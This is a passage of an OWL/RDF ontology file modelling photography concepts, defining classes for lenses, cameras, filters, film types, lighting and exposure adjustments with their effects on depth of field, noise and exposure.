<rdfs:subClassOf rdf:resource="#PhotographicSubject"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Noise -->
<owl:Class rdf:about="#Noise">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:comment
>Visible artifact. (Normally) randomised variation in colour and/or luminence across an area of the image that should be a single smooth block of colour. Can be caused by many factors, such as film grain size, or in digital photography the interaction of sensors on the chip (leakage). Generally noise is most noticeable in dark areas of an image. Linked to sensitivity.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#NormalLens -->
<owl:Class rdf:about="#NormalLens">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">100</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">100</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;integer">24</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxInclusive rdf:datatype="&xsd;integer">24</xsd:maxInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">100</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;integer">24</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">100</xsd:maxExclusive>
<xsd:minExclusive rdf:datatype="&xsd;integer">24</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:unionOf>
</owl:Class>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#OpenUpAperture -->
<owl:Class rdf:about="#OpenUpAperture">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Aperture"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#ExposureLevel"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<rdf:Description rdf:about="#ExposureLevel"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Orientation -->
<owl:Class rdf:about="#Orientation">
<rdfs:subClassOf rdf:resource="#CompositionalParameter"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#OverExposed -->
<owl:Class rdf:about="#OverExposed">
<rdfs:subClassOf rdf:resource="#ExposureLevel"/>
<owl:disjointWith rdf:resource="#UnderExposed"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PanoramicCamera -->
<owl:Class rdf:about="#PanoramicCamera">
<rdfs:subClassOf rdf:resource="#Camera"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Parameter -->
<owl:Class rdf:about="#Parameter">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<rdfs:comment
>Things that are usually under the control of the photographer (given no restrictions on equipment). Ie the things that should be taken into account when taking an individual photograph.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Perspective -->
<owl:Class rdf:about="#Perspective">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:comment
>How pronounced the effect of perspective is. Wide angle lenses and close proximity enhance the effect of perspective.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Photograph -->
<owl:Class rdf:about="#Photograph">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<synonym>Print</synonym>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PhotographicSubject -->
<owl:Class rdf:about="#PhotographicSubject">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
<rdfs:comment
>This is a bad name for the broad categories of photographs</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PhysicalThing -->
<owl:Class rdf:about="#PhysicalThing">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Pincushioning -->
<owl:Class rdf:about="#Pincushioning">
<rdfs:subClassOf rdf:resource="#Distortion"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PinholeCamera -->
<owl:Class rdf:about="#PinholeCamera">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Camera"/>
<owl:Class>
<owl:complementOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasLens"/>
<owl:someValuesFrom rdf:resource="#Lens"/>
</owl:Restriction>
</owl:complementOf>
</owl:Class>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PolarisingFilter -->
<owl:Class rdf:about="#PolarisingFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Contrast"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>A polarising filter cuts down reflected light from surfaces and from particles in the atmosphere. The effect is variable depending on the angle of the filter to the lightsource and object. Polarising filters give greater contrast to cloud filled skies and remove reflections from windows and water bodies.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Polygon -->
<owl:Class rdf:about="#Polygon">
<rdfs:subClassOf rdf:resource="#Shape"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Portrait -->
<owl:Class rdf:about="#Portrait">
<rdfs:subClassOf rdf:resource="#PhotographicSubject"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PositiveImage -->
<owl:Class rdf:about="#PositiveImage">
<rdfs:subClassOf rdf:resource="#Image"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Prime -->
<owl:Class rdf:about="#Prime">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#PrintFilm -->
<owl:Class rdf:about="#PrintFilm">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Film"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#producesImage"/>
<owl:someValuesFrom rdf:resource="#PositiveImage"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#RaiseISO -->
<owl:Class rdf:about="#RaiseISO">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Sensitivity"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#Noise"/>
<rdf:Description rdf:about="#Sensitivity"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Noise"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Class>
<owl:complementOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="&owl;Thing"/>
</owl:Restriction>
</owl:complementOf>
</owl:Class>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#RangeFinder -->
<owl:Class rdf:about="#RangeFinder">
<rdfs:subClassOf rdf:resource="#Camera"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Reflector -->
<owl:Class rdf:about="#Reflector">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#LightIntensity"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#RemoteRelease -->
<owl:Class rdf:about="#RemoteRelease">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#CameraShake"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Resolution -->
<owl:Class rdf:about="#Resolution">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:comment
>Resolving power of the lens and light sensitive media. Definition level of the image. In film photography this is related to the ISO of the film. In digital photography this related to the number of pixels on the sensor.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SLR -->
<owl:Class rdf:about="#SLR">
<rdfs:subClassOf rdf:resource="#Camera"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasLens"/>
<owl:onClass rdf:resource="#Lens"/>
<owl:cardinality rdf:datatype="&xsd;nonNegativeInteger">1</owl:cardinality>
</owl:Restriction>
</rdfs:subClassOf>
<synonym
>Single Lens Reflex</synonym>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Sensitivity -->
<owl:Class rdf:about="#Sensitivity">
<rdfs:subClassOf rdf:resource="#ExposureParameter"/>
<rdfs:comment
>The ability of the sensitive material to pick up light. This is traditionally measured in the ISO standard, with higher numbers meaning higher sensitivity. Standard systems double the ISO for each iteration (eg ISO50, ISO100, ISO200 ... ISO32,000)</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Shape -->
<owl:Class rdf:about="#Shape">
<rdfs:subClassOf rdf:resource="&owl;Thing"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Shift -->
<owl:Class rdf:about="#Shift">
<rdfs:subClassOf rdf:resource="#Movements"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ShutterSpeed -->
<owl:Class rdf:about="#ShutterSpeed">
<rdfs:subClassOf rdf:resource="#ExposureParameter"/>
<rdfs:comment
>Ideally shutter speeds should be fractional, but to simplify the duration will be stated in seconds.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SingleArea -->
<owl:Class rdf:about="#SingleArea">
<rdfs:subClassOf rdf:resource="#AutoFocus"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SlideFilm -->
<owl:Class rdf:about="#SlideFilm">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Film"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#producesImage"/>
<owl:someValuesFrom rdf:resource="#NegativeImage"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SlowExposure -->
<owl:Class rdf:about="#SlowExposure">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ShutterSpeed"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasDuration"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;double">0.01</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;float"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#MotionBlur"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Shutter speeds between 1/100 and 1sec.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SmallFormat -->
<owl:Class rdf:about="#SmallFormat">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Format"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#height"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">24</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#width"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">36</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SmallFormatFilm -->
<owl:Class rdf:about="#SmallFormatFilm">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Film"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom rdf:resource="#SmallFormat"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SpecialEffectsFilter -->
<owl:Class rdf:about="#SpecialEffectsFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#SpotMetering -->
<owl:Class rdf:about="#SpotMetering">
<rdfs:subClassOf rdf:resource="#MeteringMode"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#StillLife -->
<owl:Class rdf:about="#StillLife">
<rdfs:subClassOf rdf:resource="#PhotographicSubject"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#StreetPhotography -->
<owl:Class rdf:about="#StreetPhotography">
<rdfs:subClassOf rdf:resource="#Documentary"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#StudioLight -->
<owl:Class rdf:about="#StudioLight">
<rdfs:subClassOf rdf:resource="#Light"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#producesLightType"/>
<owl:someValuesFrom rdf:resource="#Tungsten"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Subject -->
<owl:Class rdf:about="#Subject">
<rdfs:subClassOf rdf:resource="#PhysicalThing"/>
<rdfs:comment
>The subject of an image (the thing being photographed) and assumed to be the thing being focussed on.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Sunshine -->
<owl:Class rdf:about="#Sunshine">
<rdfs:subClassOf rdf:resource="#LightType"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#TLR -->
<owl:Class rdf:about="#TLR">
<rdfs:subClassOf rdf:resource="#Camera"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasLens"/>
<owl:onClass rdf:resource="#Lens"/>
<owl:cardinality rdf:datatype="&xsd;nonNegativeInteger">2</owl:cardinality>
</owl:Restriction>
</rdfs:subClassOf>
<synonym
>Twin Lens Reflex</synonym>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#TTL -->
<owl:Class rdf:about="#TTL">
<rdfs:subClassOf rdf:resource="#MeteringMode"/>
<synonym
>Through The Lens</synonym>
<synonym
>Off Film Metering (OFM)</synonym>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Telephoto -->
<owl:Class rdf:about="#Telephoto">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">100</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">100</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:unionOf>
</owl:Class>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#TestLens -->
<owl:Class rdf:about="#TestLens">
<rdfs:subClassOf rdf:resource="#Lens"/>
<test rdf:datatype="&xsd;boolean">true</test>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Tilt -->
<owl:Class rdf:about="#Tilt">
<rdfs:subClassOf rdf:resource="#Movements"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#ToyCamera -->
<owl:Class rdf:about="#ToyCamera">
<rdfs:subClassOf rdf:resource="#Camera"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Tripod -->
<owl:Class rdf:about="#Tripod">
<rdfs:subClassOf rdf:resource="#Equipment"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#CameraShake"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Tungsten -->
<owl:Class rdf:about="#Tungsten">
<rdfs:subClassOf rdf:resource="#LightType"/>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasColourTemperature"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;integer">2500</xsd:minExclusive>
<xsd:maxExclusive rdf:datatype="&xsd;integer">3500</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#UVFilter -->
<owl:Class rdf:about="#UVFilter">
<rdfs:subClassOf rdf:resource="#Filter"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#UnderExposed -->
<owl:Class rdf:about="#UnderExposed">
<rdfs:subClassOf rdf:resource="#ExposureLevel"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#UseEquipment -->
<owl:Class rdf:about="#UseEquipment">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#uses"/>
<owl:someValuesFrom rdf:resource="#Equipment"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#UseLargerFormatCamera -->
<owl:Class rdf:about="#UseLargerFormatCamera">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#uses"/>
<owl:someValuesFrom>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Camera"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasSensitiveMedia"/>
<owl:someValuesFrom>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFormat"/>
<owl:someValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#LargeFormat"/>
<rdf:Description rdf:about="#MediumFormat"/>
</owl:unionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom rdf:resource="#Resolution"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#Resolution"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#Noise"/>
<rdf:Description rdf:about="#Resolution"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#Noise"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>This is not the best definition. In fact we don't really need one here.
It arbitrarily chooses medium or large format, but actually should just be increasing format</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#UseLongerFocalLength -->
<owl:Class rdf:about="#UseLongerFocalLength">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#FocalLength"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#CameraShake"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#compresses"/>
<owl:someValuesFrom rdf:resource="#Perspective"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#Perspective"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#CameraShake"/>
<rdf:Description rdf:about="#FocalLength"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#CameraShake"/>
<rdf:Description rdf:about="#Composition"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#FocalLength"/>
<rdf:Description rdf:about="#Perspective"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#UseShorterFocalLength -->
<owl:Class rdf:about="#UseShorterFocalLength">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
